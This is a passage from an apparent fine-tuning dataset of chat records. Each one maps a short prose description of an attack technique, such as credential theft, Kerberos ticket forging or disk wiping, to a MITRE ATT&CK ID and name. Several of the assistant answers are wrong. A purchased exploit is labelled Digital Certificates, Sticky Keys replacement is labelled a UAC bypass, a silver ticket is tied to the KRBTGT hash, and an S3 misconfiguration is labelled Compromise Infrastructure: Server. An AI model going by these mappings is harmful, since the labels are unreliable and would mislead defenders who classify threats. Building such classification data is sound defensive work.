                "content": "An intrusion script reads the credential store on a compromised Windows host to steal saved passwords and hashes."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor exploits a vulnerable third‑party library to steal service-to-service authentication tokens from the application's secret vault."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using XSL script processing, the attacker injects JavaScript into an XSL file to hijack the execution flow on the target."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing tool registers its own DLL as a password filter, allowing it to exfiltrate credentials during logon."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker spoofs the MAC address of an authorized device to gain network access."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses the PowerShell module Invoke-Command to execute a script block on a remote machine."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the cloud platform's snapshot restore capability to reset a compromised VM to a known good state, obscuring their persistence mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a misconfigured AWS S3 bucket, the attacker obtained server credentials and accessed internal services."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program embeds large blocks of garbage data as padding, obscuring the actual malicious code from analysts."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool dumped the NTDS.dit file from a domain controller to obtain Active Directory credentials."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious QR code is displayed in a public advertisement; scanning it leads the user’s phone to download and execute malware."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits the Windows Sticky Keys (sethc.exe) replacement to gain SYSTEM access."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider executed a batch file that recursively deleted all files in the \\share\\documents directory, causing total data loss."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a routine that reads the Local Security Authority (LSA) policies to determine password strength rules."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage a peer-to-peer botnet architecture to maintain command and control without relying on centralized servers, allowing resilient communication."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the systemd unit for sshd to include a command that logs credentials."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages the Windows Credential Manager to retrieve stored browser session tokens."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a batch file to stop the Windows Management Instrumentation (WMI) service."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors acquire a ready‑made exploit for a recently patched vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a malicious launch agent plist in ~/Library/LaunchAgents to execute a backdoor binary at user login."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code enumerates window handles and extracts the associated process names to locate high‑value applications."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers conceal PowerShell scripts inside a legitimate Office document’s hidden macro, enabling the payload to run when the document is opened."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker scans public vulnerability databases and package registries for versions that expose authentication information."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage the Linux systemd manager to install a malicious unit file, enabling and starting it to execute a backdoor at boot time."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent WMI event subscription is configured to run a PowerShell command each time a user logs on, establishing persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group updates the OS core image with a backdoored version to maintain control."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised service account, the attacker forges Kerberos tickets to impersonate high‑privilege users, effectively performing a golden ticket attack."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves encoding a secret command within a specific order of connection attempts to closed ports, signaling the compromised host to initiate a malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit insecure storage of credentials in Group Policy Preferences to retrieve service account passwords from the SYSVOL directory."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An observed threat actor creates a hidden window, copies its malicious payload into the extra window memory of a victim process, and then triggers execution via a window message."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By using the 'mimikatz' tool, the threat actor fabricates a token with admin rights and spawns a new command shell with those credentials."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit aggregates harvested files into a local \"staging\" path before using PowerShell to exfiltrate them."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary scans for nearby wireless networks to map available Wi‑Fi SSIDs and their security settings."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing tool invokes the KeychainItemCopyAttributesAndData API to retrieve saved OAuth tokens from the Keychain."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerable COM interface in a Windows application to spawn a new process and inject malicious payload through inter-process communication."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages HTTPS to conceal command and control traffic within web requests."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages a Windows service that runs with SYSTEM privileges to launch a malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering the property list of a privileged daemon, the threat actor escalates privileges on the macOS host."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilizes the cloud provider's \"Connect\" button to open a terminal session inside the victim's virtual machine."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker installs a rogue Wi‑Fi dongle on a server rack, using it to intercept traffic and exfiltrate data without detection."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Dynamic Data Exchange, the ransomware instructs a legitimate calculator application to execute system commands that encrypt user files."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Linux ‘lsblk’ command to discover block devices and partition layouts on the host."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies the system PATH variable so that a malicious executable is found before the legitimate one, causing the victim process to execute the malicious code."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a vulnerable service to execute bcdedit commands that configure the OS to start in Safe Mode."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise a third‑party hosting provider and use its domain to host phishing sites targeting the victim."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a man-in-the-browser attack, the adversary captures session cookies and replays them to bypass authentication."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses PowerShell's -NoProfile option to bypass detection, then re‑enables the malicious profile after execution to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a hidden space character in the file name \"cmd.exe \" to masquerade the malicious binary as the command prompt."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors modify the VBA project of an Office file to hide their payload, effectively stomping the original macro code."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised Active Directory user account to access internal resources without triggering alerts."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group employed HTML smuggling by sending a .txt file renamed to .html, which when opened runs JavaScript that assembles and executes a malicious DLL from encoded strings."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT utilizes shell redirection operators to overwrite system files with malicious content."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware opened a VPN tunnel to a remote server and streamed harvested credentials through the encrypted tunnel."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses NTP reflection, sending small NTP requests with a forged source IP, resulting in large responses that flood the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program calls the Windows function OpenSCManager and EnumServicesStatus to discover installed services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker issues an SCSI 'WRITE SAME' command with zeroed data to wipe all sectors on the target disk."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system sends spoofed health-check messages to the SIEM, causing it to mark real threats as false positives."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit unloads the audit module and deletes audit configuration files to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider retrieves additional AWS access keys from a shared credentials repository and leverages them for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1098.001 - Account Manipulation: Additional Cloud Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script lists peripheral devices, including printers and scanners, to find potential data exfiltration paths."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary crafts a convincing phishing email that directs recipients to a counterfeit survey site where they are asked to enter passwords and personal identifiers."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary replaces a legitimate .lnk file with one that references a renamed ransomware binary, enabling execution."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ a custom DLL that calls the Windows API GetSystemInfo to obtain processor architecture and number of cores."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder performed an SNMP MIB dump to enumerate device interfaces and routing tables."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy piece of software periodically regenerates its C2 domain list using a deterministic algorithm and resolves them."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining the KRBTGT hash, the intruder fabricates a silver ticket for the print spooler service, enabling persistence on the network."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves registering a custom printer port monitor that runs automatically at logon, enabling stealthy persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential stealer queries the macOS System Profiler for installed applications to profile the target."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses stolen Kerberos tickets to masquerade as a domain user via pass‑the‑ticket."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by adding commands to the PowerShell profile that download and execute a C2 script on launch."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team runs 'ps aux' via the shell to discover running processes for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors implement Fast Flux DNS to constantly rotate IP addresses associated with their command‑and‑control domain."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers retrieve web browser credential data by scanning the user's profile directory for hidden password files."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A PowerShell script checks for the presence of the \"VMware\" string in hardware identifiers and ceases execution if found, acting as an execution guardrail."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware executes a script that calls the LDAP API to provision a new domain user account for later use."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries extract cached domain credentials from the LSASS process to later reuse them for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
